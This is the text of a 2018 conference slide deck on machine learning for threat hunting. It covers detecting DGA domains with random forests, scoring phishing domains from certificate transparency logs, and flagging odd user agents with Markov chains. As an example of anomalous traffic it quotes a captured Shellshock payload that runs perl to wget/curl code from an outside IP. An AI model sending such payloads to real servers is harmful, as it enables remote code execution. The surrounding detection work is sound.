Applied Machine Learning & Data Science for Cybersecurity

Tactical Detection & Analytics Summit
December 2018
Who Am I?
Austin Taylor
Director of Cybersecurity R&D
@IronNetCyber
Cyber Warfare Operations Officer
@USAF

https://www.github.com/austin-taylor
• VulnWhisperer
• Flare
• Bluewall

www.austintaylor.io
@HuntOperator
Overview

• Machine Learning Overview

• Applied Machine Learning to Use Cases
  • DGA, Phishing, Anomaly Detection

• Questions for Vendors

• Demo
Machine Learning Overview
3 Types

- Supervised
- Unsupervised
- Reinforcement Learning
Supervised Machine Learning

• Classification

• Regression
Machine Learning Process

1. Data Collection
2. Data Pre-Processing
3. Model Training
4. Model Evaluation
5. Improving the Performance

https://towardsdatascience.com/machine-learning-a-gentle-introduction-17e96d8143fc
Data Science Hunting Funnel

Network Traffic

Produced Naturally 100%

Machine Learning 10%

Domain Knowledge 1-5%

Potential Bad 0.001%

Interesting

Anomalous

Normal

Malicious Traffic

@HuntOperator
Domain Generation Algorithms (DGA)
Domain Generation Algorithms (DGA)

Why DGA?

• Deterministic value
• Generate large number of domain names
  • Easy to burn
  • Cheap to register
• Used as a rendezvous point by attacker
DGA Example

```python
In [18]:
def generate_domain(year, month, day):
    """Generates a domain name for the given date."""
    domain = ""

    for i in range(16):
        year = (((year ^ 8 * year) >> 11) ^ ((year & 0xFFFFFFFF0) << 17))
        month = (((month ^ 4 * month) >> 25) ^ 16 * (month & 0xFFFFFFFF8))
        day = (((day ^ (day << 13)) >> 19) ^ ((day & 0xFFFFFFFFE) << 12))
    domain += chr(((year ^ month ^ day) % 25) + 97)

    return domain + '.com'

In [19]:
generate_domain(2017, 6, 23)
Out[19]: 'vtlfccmfxfkogifuf.com'
```
We want to detect this
I'M GONNA HAVE TO DATA

SCIENCE THE SH*T OUT OF THIS
Scenario 2

- A piece of malware has infected a computer on your network and is making request to domains using DGA in an attempt to communicate to a Command and Control Server.
HUNT!
Network Analytic Framework

- Designed for data scientists, security researchers
- Written in Python
- Used for rapid prototyping and development of behavioral analytics
- Intended to help identify anomalous behavior
- Built-in machine learning

https://github.com/austin-taylor/flare
Import Flare Tools

- DGA Classifier
  - Random Forest (Supervised Machine Learning)
  - N-Grams
  - Uses labeled data
- Alexa - Top 1M most popular visited websites
  - Must pay for service now
  - Umbrella/Majestic are free alternatives
- Domain TLD Extract - Extracts the Top Level Domain to be checked against Alexa
  - Also calculate degree from here

```python
In [64]: from flare.data_science.features import dga_classifier

In [66]: from flare.tools.alexa import Alexa
from flare.data_science.features import domain_tld_extract

In [65]: dga_c = dga_classifier()

[*] Initializing... training classifier - Please wait.
[+] Classifier Ready
```
N-Grams

- Applied to words or characters
- Used for storing the probabilities of transitioning to a next state
DGA Labeled Data Sources

Malicious
banjori  murofet  qadars
chinad  necurs  qakbot
corebot  newgoz  ramdo
dircrypt  nymaim  ramnit
dnschanger  nymaim2  ranbyus
fobber  padcrypt  shiotob
gozi  pizd  simda
kraken  proslavefan  sisron
locky  pykspa  suppobox

Benign
- English Dictionary
- Alexa Top 1M
- Cisco Umbrella
- Majestic Million

https://github.com/baderj/domain_generation_algorithms
# DNS Records

**Record Count:** 15408

```python
In [62]:
dns_records = pd.read_csv('~/Users/huntoperator/Downloads/exported_dns_records.csv')
```

```python
In [63]:
dns_records
```

<table>
<thead>
<tr>
<th>dns_rrname</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>daisy.ubuntu.com</td>
<td>300,129</td>
</tr>
<tr>
<td>srv.mskybell.com</td>
<td>55,053</td>
</tr>
<tr>
<td>googleapis.l.google.com</td>
<td>37,005</td>
</tr>
<tr>
<td>ubuntu.com</td>
<td>30,549</td>
</tr>
<tr>
<td><a href="http://www.google.com">www.google.com</a></td>
<td>28,780</td>
</tr>
<tr>
<td><a href="http://www.example.org">www.example.org</a></td>
<td>26,367</td>
</tr>
<tr>
<td><a href="http://www.example.com">www.example.com</a></td>
<td>26,354</td>
</tr>
<tr>
<td><a href="http://www.example.net">www.example.net</a></td>
<td>26,298</td>
</tr>
<tr>
<td>myskybell.com</td>
<td>18,296</td>
</tr>
</tbody>
</table>
Filter Results

```
In [73]:
dns_records['domain_tld'] = dns_records.dns_rrname.apply(lambda x: domain_tld_extract(str(x)))

In [78]:
dns_records['dga_predict'] = dns_records.domain_tld.apply(lambda x: dga_c.predict(x))

In [129]:
dns_records.head()

Out[129]:
```
<table>
<thead>
<tr>
<th>dns_rrname</th>
<th>count</th>
<th>domain_tld</th>
<th>dga_predict</th>
</tr>
</thead>
<tbody>
<tr>
<td>daisy.ubuntu.com</td>
<td>300,129</td>
<td>ubuntu.com</td>
<td>legit</td>
</tr>
<tr>
<td>srv.mskybell.com</td>
<td>55,053</td>
<td>myskybell.com</td>
<td>legit</td>
</tr>
<tr>
<td>googleapis.l.google.com</td>
<td>37,005</td>
<td>google.com</td>
<td>legit</td>
</tr>
<tr>
<td>ubuntu.com</td>
<td>30,549</td>
<td>ubuntu.com</td>
<td>legit</td>
</tr>
<tr>
<td><a href="http://www.google.com">www.google.com</a></td>
<td>28,780</td>
<td>google.com</td>
<td>legit</td>
</tr>
</tbody>
</table>
```

In [84]:
dns_filter = dns_records[dns_records.dga_predict=='dga']

In [131]:
dns_filter.shape

Out[131]:
(240, 4)
```

Still too many results...

@HuntOperator
Filter Results

| In [117]: | 1 alexa = Alexa() |
| In [123]: | 1 dns_filter2 = dns_filter1[dns_filter1['domain_degree'] < 2] |
| In [119]: | 1 dns_filter2.shape |
| Out[119]: | (78, 5) |
| In [125]: | 1 dns_filter2['in_alexa'] = dns_filter2.domain_tld.apply(lambda x: alexa.domain_in_alexa(x)) |

And finally...
Filter Results

Apply Alexa Check:

In [127]:
1. `dns_filter2[dns_filter2['in_alexa']==False]`

Out[127]:

<table>
<thead>
<tr>
<th>dns_rname</th>
<th>count</th>
<th>domain_tld</th>
<th>dga_predict</th>
<th>domain_degree</th>
<th>in_alexa</th>
</tr>
</thead>
<tbody>
<tr>
<td>version.mcs.svc.ovi.com.gib.as1248.net</td>
<td>9</td>
<td>as1248.net</td>
<td>dga</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>ebdr3.com</td>
<td>8</td>
<td>ebdr3.com</td>
<td>dga</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>i.s-jcrew.com</td>
<td>8</td>
<td>s-jcrew.com</td>
<td>dga</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>in.xml241.com</td>
<td>8</td>
<td>xml241.com</td>
<td>dga</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>vtfccomfxikgifuf.com</td>
<td>8</td>
<td>vtfccomfxikgifuf.com</td>
<td>dga</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>tags.wdsvc.net</td>
<td>6</td>
<td>wdsvc.net</td>
<td>dga</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>get35.com</td>
<td>5</td>
<td>get35.com</td>
<td>dga</td>
<td>1</td>
<td>False</td>
</tr>
<tr>
<td>x64dbg.com</td>
<td>5</td>
<td>x64dbg.com</td>
<td>dga</td>
<td>1</td>
<td>False</td>
</tr>
</tbody>
</table>

False Positives

and...

In [135]:
1. `dns_filter2[dns_filter2['in_alexa']==False].shape`

Out[135]: `(57, 6)`

57 Results!
Pass to Analyst

- Identify Process Generating Traffic
- Isolate infected host
- Begin endpoint investigation...

CASE SOLVED
YEAH... IF YOU COULD EXPLAIN YOUR MACHINE LEARNING MODEL

THAT WOULD BE GREAT...
Decision Trees

Decision trees are a type of model used for both classification and regression.

Pros
• Easy to interpret
• Straightforward visualizations

Caution
• Become difficult to read as more features are added

Results from DGA Prediction
Results from DGA Prediction

**ENHANCE!**
Results from DGA Prediction
Results from DGA Prediction

ENHANCE
Results from DGA Prediction
Results from DGA Prediction

ENHANCE
memegenerator.net

@HuntOperator
Results from DGA Prediction

Features
- Entropy
- Length of domain
- Alexa n-grams
- Domain n-grams
Phishing
Streaming Phish

- Created by Wes Connell (@wesleyraptor)
- Uses supervised machine learning to detect phishing domains from the Certificate Transparency log network
- Available at https://github.com/wesleyraptor/streamingphish
Streaming Phish

https://github.com/wesleyraptor/streamingphish
Created by Wes Connell (@wesleyraptor)
Certificate Transparency Flow

Current TLS/SSL System

Certificate Authority

example.com

Client (browser)

TLS Handshake (SSL cert)

TLS/SSL System with Certificate Transparency (Certificate Embedding)

Log Server

CA submission (Precertificate)

Log response (SCT)

Certificate Authority

Cert issuance (SSL cert w/SCT)

example.com

Client (browser)

TLS Handshake (SSL cert w/SCT)

Existing TLS/SSL system

One-time operations

Synchronous operations

Order of operation

Supplemental CT components

@HuntOperator
Certificate Transparency


@HuntOperator
Streaming Phish

- "High" threshold is 0.90 and above
- "Suspicious" threshold is between 0.90 and 0.75
- "Low" threshold is between 0.75 and 0.60

Any FQDN with a score of 0.60 or lower will not be logged.

[Not Phishing] paypal.com 0.004
[Not Phishing] apple.com 0.003
[Not Phishing] patternex.com 0.000
[Phishing] support-apple.xyz 0.965
[Phishing] paypall.com 0.851
[Phishing] pavpal-verify.com 1.000

https://github.com/wesleyraptor/streamingphish/blob/master/jupyter/notebooks/StreamingPhish.ipynb
Streaming Phish Demo

Please make a selection [1-6]: 1
[*] Fetching active classifier name from config.
[*] Fetching classifier artifacts from database.
[+] Loaded feature extractor.
[+] Loaded phishing_taylor classifier.
[*] Analysis started - press CTRL+C to quit at anytime.
[Let's Encrypt] [HIGH] [SCORE:0.995] amazon-verification-deutschland-safer-security-info.com
[Let's Encrypt] [HIGH] [SCORE:0.990] paypal.com-o.de
[Let's Encrypt] [LOW] [SCORE:0.615] twitter.com-o.de
[Let's Encrypt] [HIGH] [SCORE:0.990] www.paypal.com-o.de
[Let's Encrypt] [LOW] [SCORE:0.615] www.twitter.com-o.de
[Let's Encrypt] [HIGH] [SCORE:0.995] amazon-verification-deutschland-safer-security-info.com
[cPanel, Inc.] [HIGH] [SCORE:1.000] appleid.manage-account.secure-from.com
[cPanel, Inc.] [HIGH] [SCORE:1.000] www.appleid.manage-account.secure-from.com
[Let's Encrypt] [HIGH] [SCORE:1.000] manageaccountappleid.apple.com.srvrirc.tk
[cPanel, Inc.] [HIGH] [SCORE:1.000] appleid.manage-account.secure-from.com
[cPanel, Inc.] [HIGH] [SCORE:1.000] www.appleid.manage-account.secure-from.com
[Let's Encrypt] [LOW] [SCORE:0.610] bank-chase.jasonstotallawnncareinc.com
[Let's Encrypt] [HIGH] [SCORE:0.976] bankofamerica.jasonstotallawnncareinc.com
[Let's Encrypt] [LOW] [SCORE:0.610] www.bank-chase.jasonstotallawnncareinc.com
[Let's Encrypt] [HIGH] [SCORE:0.976] www.bankofamerica.jasonstotallawnncareinc.com
[Let's Encrypt] [HIGH] [SCORE:1.000] manageaccountappleid.apple.com.srvrirc.tk
Anomaly Detection
Anomaly Detection Technique Diagram

Start

- know common patterns?
- Static Rules
  - data balanced & not autocorrelated: use a classifier
  - data not balanced: Ensemble of classifiers with resampling normal
  - data autocorrelated: time series methods or RNN
  - point anomalies: Percentiles & Histograms
  - collective anomalies:
    - univariate: build model and look at the residue
      - Markov Chains
    - multivariate:
      - unordered: Clustering
      - ordered: Clustering + Markov Chains

- have training data?

## Find Anomalous User Agents

### http.http_user_agent.raw: Descending

<table>
<thead>
<tr>
<th>User Agent</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19</td>
<td>2,781</td>
</tr>
<tr>
<td>Dalvik/2.1.0 (Linux; U; Android 5.1.1; AEOKN Build/LVY48F)</td>
<td>1,158</td>
</tr>
<tr>
<td>Microsoft-Delivery-Optimization/10.0</td>
<td>125</td>
</tr>
<tr>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36</td>
<td>102</td>
</tr>
<tr>
<td>Dalvik/2.1.0 (Linux; U; Android 8.0.0; SM-G955U Build/R16NW)</td>
<td>73</td>
</tr>
<tr>
<td>Microsoft-CryptoAPI/10.0</td>
<td>66</td>
</tr>
<tr>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36</td>
<td>52</td>
</tr>
<tr>
<td>com.apple.trusted/2.0</td>
<td>46</td>
</tr>
<tr>
<td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.113.1.29</td>
<td>30</td>
</tr>
<tr>
<td>Debian APT-HTTP/1.3 (1.4.8)</td>
<td>29</td>
</tr>
</tbody>
</table>

Field: `http.http_user_agent.raw`
Data Preparation

Expand user agents to represent actual counts in environment

user_agent_big_strings.txt

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OverwolfClient/0.119.2.19 Mozilla/5.0 (Window...
Loading Data in Flare

```
ua_mm = MarkovModel(3)

ua_mm.load_from_file('user_agents_big_string.txt')
```
Scoring Transitions

Each transition receives a log likelihood score

```
'Moz': {'i': 1.0},
'ozi': {'l': 1.0},
'zil': {'l': 1.0},
'ill': {'a': 1.0},
```
Simulated User Agents

Actual
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.18 Safari/537.36 OverwolfClient/0.119.2.19

Simulated

```
In [94]: 1  ua_mm.simulate(100)
Out[94]: '2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.18'
```

2.19 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.18
Operationalizing Markov Chain Predictions

Common User-Agent
Google Chrome Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36.

Uncommon

998:List(FlowInfo(58.16.43.154,170.61.175.13,1470136457,() { ::};/usr/bin/perl -e 'print "Content-Type: text/plain\n\n\nXSUCCESS!";system("wget http://185.125.4.222/YOUR_URL_HERE ; curl -O http://185.125.4.222/YOUR_URL_HERE ; fetch http://185.125.4.222/YOUR_URL_HERE"));'

@HuntOperator
Operationalizing Markov Chain Predictions

Score: -1.7385212547643434

Common User-Agent
Google Chrome Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36.

Score: -12.358640587328406

Uncommon

Score: -12.358640587328406

Uncommon
Recommendations

- Apply Markov chain score to identify outliers
- Pairs best with domain knowledge and filters
- Use for threat hunting

<table>
<thead>
<tr>
<th>Network</th>
<th>Host</th>
</tr>
</thead>
<tbody>
<tr>
<td>TLS Subject Name Issuer</td>
<td>Filenames</td>
</tr>
<tr>
<td>HTTP User Agents</td>
<td>Host names</td>
</tr>
<tr>
<td>DNS labels</td>
<td>Registry Keys</td>
</tr>
<tr>
<td>TLS Cipher Suites</td>
<td>SQL Queries</td>
</tr>
<tr>
<td>TLS Common Name</td>
<td>Command Line</td>
</tr>
</tbody>
</table>
Questions for Vendors

The following questions can help validate if a vendor is using machine learning

General
• What type of machine learning? Supervised, Unsupervised?
• Do they perform regression or classification?
• What data sources do they use to train their models?
• What use case are they applying machine learning to?
• How did they select which features to use?

Performance Testing
• What are your precision, recall and F1 scores?
• Do you track True Positive Rates and False Positive Rates (TPR/FPR)
• How do you determine a model is successful?
MAY THE DEMO GODS
BE EVER IN YOUR FAVOR
# Tool Chart

<table>
<thead>
<tr>
<th>Use Case</th>
<th>ML Algorithm</th>
<th>Tool</th>
</tr>
</thead>
<tbody>
<tr>
<td>DGA</td>
<td>Random Forrest</td>
<td>Flare</td>
</tr>
<tr>
<td>Phishing</td>
<td>Logistic Regression</td>
<td>Streaming Phish</td>
</tr>
<tr>
<td>Anomaly Detection</td>
<td>Markov Chains</td>
<td>Flare or freq.py</td>
</tr>
</tbody>
</table>

Flare: [https://github.com/austin-taylor/flare](https://github.com/austin-taylor/flare)
Streaming Phish: [https://github.com/wesleyraptor/streamingphish](https://github.com/wesleyraptor/streamingphish)
Freq.py: [https://github.com/MarkBaggett/freq](https://github.com/MarkBaggett/freq)
Summary

• Machine Learning Overview
• Applied Machine Learning to Use Cases
  • DGA, Phishing, Anomaly Detection
• Questions for Vendors
• Demo
Questions?
Thank you!

www.austintaylor.io
@HuntOperator